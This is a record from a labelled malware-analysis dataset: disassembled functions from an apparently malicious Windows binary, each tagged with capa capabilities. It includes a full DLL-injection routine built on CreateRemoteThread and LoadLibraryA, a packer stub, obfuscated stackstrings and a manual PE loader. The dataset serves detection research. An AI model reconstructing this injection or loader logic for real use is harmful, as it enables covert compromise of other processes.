joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404670
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4046c0
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040d019
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046f5
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040d019
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040d019
push str.Process_opened_successfully._n
call fcn.0040d019
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404754
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040d019
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040d019
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404789
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404739
push str.DLL_path_writen_successfully._n
call fcn.0040d019
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404741
test eax, eax
je 0x404741
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4047c6
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404739
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040d019
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4047f4
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404739
push str.DLL_Injected___n
call fcn.0040d019
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret
Function at 0x407200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423058
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4073ae
cmp byte [ebx + 0x49], 0
je 0x4073ae
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4073a2
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x407275
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x407292
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4072c9
dec eax
je 0x4072cd
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4073a9
call fcn.00401390
xor al, al
jmp 0x4073b0
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4072dd
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40730a
cmp edi, 0x10
jae 0x4072ec
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d549
add esp, 0x10
cmp esi, eax
jne 0x40739a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4073a6
test esi, esi
jne 0x407286
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4073cb
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4073cb
cmp edi, esi
jae 0x407383
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x407286
mov ecx, eax
cmp edi, 0x10
jae 0x40735f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40737a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x407280
test esi, esi
jne 0x407355
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407392
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x407280
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x4073b0
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a9d8
int3
Function at 0x407690
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422cfb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040b029
push 4
mov dword [ebp - 4], 0
call fcn.0040be8d
mov edi, eax
add esp, 4
test edi, edi
je 0x40770c
call fcn.0040af01
mov dword [edi], eax
call fcn.0040acc0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040afea
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407702
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040b012
jmp 0x40770e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4092d0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4230c8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x409335
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00409090
mov ecx, esi
call fcn.00409140
mov eax, esi
push eax
call fcn.00409220
cmp dword [ebp + 0x1c], 0x10
jb 0x409362
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040be31
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4bd
mov esp, ebp
pop ebp
ret

Function at 0x40b4bd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b4c7
repz ret
jmp fcn.0041111c
Function at 0x415d3c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415d63
call fcn.0040e2eb
mov dword [eax], esi
call fcn.0040e2d8
push 0x16
pop esi
mov dword [eax], esi
call fcn.0041353d
mov eax, esi
jmp 0x415db8
test dword [ebp + 0xc], 0xfffffff9
jne 0x415d49
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415d90
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e2fe
pop ecx
call fcn.0040e2d8
mov eax, dword [eax]
jmp 0x415db8
test al, 0x10
jne 0x415db6
test al, 1
je 0x415db6
test byte [ebp + 0xc], 2
je 0x415db6
call fcn.0040e2eb
mov dword [eax], 5
call fcn.0040e2d8
mov dword [eax], 0xd
jmp 0x415d87
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416f98
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411db1
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x41704b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4170f3
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4170f3
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x41704b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4170a4
cmp dword [0x42d9c0], ecx
je 0x4170a4
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4170a4
test ebx, ebx
je 0x4170a4
call edi
test eax, eax
je 0x41709b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41709b
test byte [ebp - 8], 1
jne 0x4170a4
or dword [ebp + 0x10], 0x200000
jmp 0x4170d7
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x4170d7
push eax
call esi
test eax, eax
je 0x4170d7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4170d7
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x4170d7
push eax
call esi
test eax, eax
je 0x4170d7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x4170f3
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4170f5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b4bd
leave
ret
Function at 0x80de40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x5cd00d
lea edi, [esi - 0x1cc00d]
push edi
or ebp, 0xffffffff
jmp 0x80de62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x80de69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80de58
mov eax, 1
add ebx, ebx
jne 0x80de7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x80de70
jne 0x80de8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80de70
xor ecx, ecx
sub eax, 3
jb 0x80dea0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x80df12
mov ebp, eax
add ebx, ebx
jne 0x80deab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x80deb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x80dedc
inc ecx
add ebx, ebx
jne 0x80dec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x80debd
jne 0x80ded9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80debd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x80defc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x80deed
jmp 0x80de5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x80defc
add edi, ecx
jmp 0x80de5e
pop esi
mov edi, esi
mov ecx, 0x149e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x80df1a
cmp byte [edi], 0x11
jne 0x80df1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x80df1f
lea edi, [esi + 0x409000]
mov eax, dword [edi]
or eax, eax
je 0x80df8e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x41615c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4161b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x80df4c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4161bc]
or eax, eax
je 0x80df88
mov dword [ebx], eax
add ebx, 4
jmp 0x80df69
call dword [esi + 0x4161b8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x80dfbf
cmp al, 0xef
ja 0x80dfb2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x80df94
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x80dfa1
mov ebp, dword [esi + 0x4161c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x80dff3
sub esp, 0xffffff80
jmp 0x41a69f
Function at 0x401230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4219b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov al, 0x45
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x28], al
mov al, 0x6c
xor ebx, ebx
push str.HeapFree
push str.kernel32.dll
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x27], 0x4c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x1c], eax
mov al, 0x65
mov cl, 0x73
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x35], al
mov byte [ebp - 0x31], al
mov byte [ebp - 0x34], cl
mov byte [ebp - 0x33], cl
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x2c]
push eax
push ecx
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x50
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x32], 0x48
mov byte [ebp - 0x30], 0x61
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], bl
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
nop
nop
nop
nop
nop
lea edx, [ebp - 0x14]
push 0x427da8
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 0x63
call fcn.0040a60b
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp + 8]
push eax
push 0
call dword [ebp - 0x18]
push eax
call dword [ebp - 0x1c]
mov eax, 0x401322
ret
Function at 0x4016c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4219e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
nop
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp + 0x10]
xor edx, edx
push 0x427da8
mov dword [ebp - 4], 0
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x24]
mov dx, word [eax + 0x14]
push ecx
mov dword [ebp - 0x24], 0x50
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
call fcn.0040a60b
mov dword [ebp - 0x10], esp
inc eax
dec ebx
dec eax
inc ebx
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0
mov edx, dword [ebp + 0x10]
xor ecx, ecx
mov eax, dword [edx]
mov cx, word [eax + 6]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
jge 0x401831
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x4017ac
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x40181f
mov eax, dword [esi + 0xc]
mov edx, dword [ebp - 0x1c]
push 4
push 0x1000
add eax, edx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x18]
inc ecx
add esi, 0x28
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], esi
jmp 0x401744
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
mov esi, dword [ebp - 0x1c]
push 4
push 0x1000
add ecx, esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [ebp - 0x28]
push 0x427da8
push edx
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], 0x55
call fcn.0040a60b
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp + 8]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, ecx
add esi, edi
mov edi, dword [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x40180b
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x18]
inc ecx
add esi, 0x28
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], esi
jmp 0x401744
mov eax, 0x401837
ret
Function at 0x401850
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4219f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.VirtualFree
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
nop
nop
nop
nop
nop
push str.VirtualProtect
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [eax]
mov cx, word [eax + 0x14]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x18], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
push 0x427da8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x40
call fcn.0040a60b
mov edi, dword [ebp + 8]
xor ebx, ebx
mov ecx, dword [edi]
cmp word [ecx + 6], bx
jbe 0x4019a3
mov edx, dword [ebp - 0x18]
lea esi, [edx + 0x24]
mov eax, dword [esi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
and ecx, 1
and edx, 1
shr eax, 0x1f
nop
nop
nop
nop
test byte [esi + 3], 2
je 0x401925
mov eax, dword [esi - 0x14]
mov ecx, dword [esi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40198f
nop
nop
nop
nop
nop
lea edx, [edx + ecx*2]
lea eax, [eax + edx*2]
mov edx, dword [eax*4 + 0x475e1c]
mov eax, dword [esi]
test eax, 0x4000000
je 0x401943
or dh, 2
nop
nop
nop
nop
nop
nop
mov eax, dword [esi - 0x14]
test eax, eax
jne 0x401968
mov ecx, dword [esi]
test cl, 0x40
je 0x40195e
mov ecx, dword [edi]
mov eax, dword [ecx + 0x20]
jmp 0x401968
test cl, 0x80
je 0x401968
mov eax, dword [edi]
mov eax, dword [eax + 0x24]
nop
nop
nop
nop
nop
nop
test eax, eax
jbe 0x40198f
mov eax, dword [esi - 0x1c]
lea ecx, [ebp + 8]
push ecx
push edx
mov edx, dword [esi - 0x14]
push edx
push eax
call dword [ebp - 0x1c]
test eax, eax
jne 0x40198f
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi]
xor edx, edx
inc ebx
add esi, 0x28
mov dx, word [ecx + 6]
cmp ebx, edx
jl 0x4018f1
mov eax, 0x4019a9
ret
Function at 0x401e80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421a30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.HeapFree
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x20], eax
nop
nop
nop
inc eax
dec ebx
dec eax
inc ebx
mov al, 0x45
mov cl, 0x72
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x38], al
mov al, 0x6c
mov byte [ebp - 0x2a], cl
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], al
mov byte [ebp - 0x26], al
mov al, 0x65
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], al
mov byte [ebp - 0x24], cl
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x3c]
xor ebx, ebx
push eax
push ecx
mov byte [ebp - 0x3c], 0x4b
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x37], 0x4c
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2c], 0x56
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x21], bl
call esi
push eax
call edi
push str.GetProcessHeap
push str.KERNEL32.dll
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x14]
push 0x427da8
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 0x44
call fcn.0040a60b
mov esi, dword [ebp + 8]
test esi, esi
je 0x402001
mov eax, dword [esi + 0x10]
test eax, eax
je 0x401f9c
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov ecx, dword [eax + 0x28]
add ecx, ebx
inc eax
dec ebx
dec eax
inc ebx
mov edx, dword [esi + 4]
push 0
push 0
push edx
call ecx
mov dword [esi + 0x10], 0
nop
nop
nop
mov eax, dword [esi + 8]
test eax, eax
je 0x401fdb
mov eax, dword [esi + 0xc]
xor edi, edi
test eax, eax
jle 0x401fcb
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 8]
mov eax, dword [eax + edi*4]
cmp eax, 0xffffffff
je 0x401fc3
push eax
call ebx
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x401fb5
inc eax
dec ebx
dec eax
inc ebx
mov ecx, dword [esi + 8]
push ecx
call fcn.00401230
add esp, 4
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [esi + 4]
test eax, eax
je 0x401ff1
push 0x8000
push 0
push eax
call dword [ebp - 0x18]
nop
nop
nop
nop
nop
nop
push esi
push 0
call dword [ebp - 0x1c]
push eax
call dword [ebp - 0x20]
mov eax, 0x402007
ret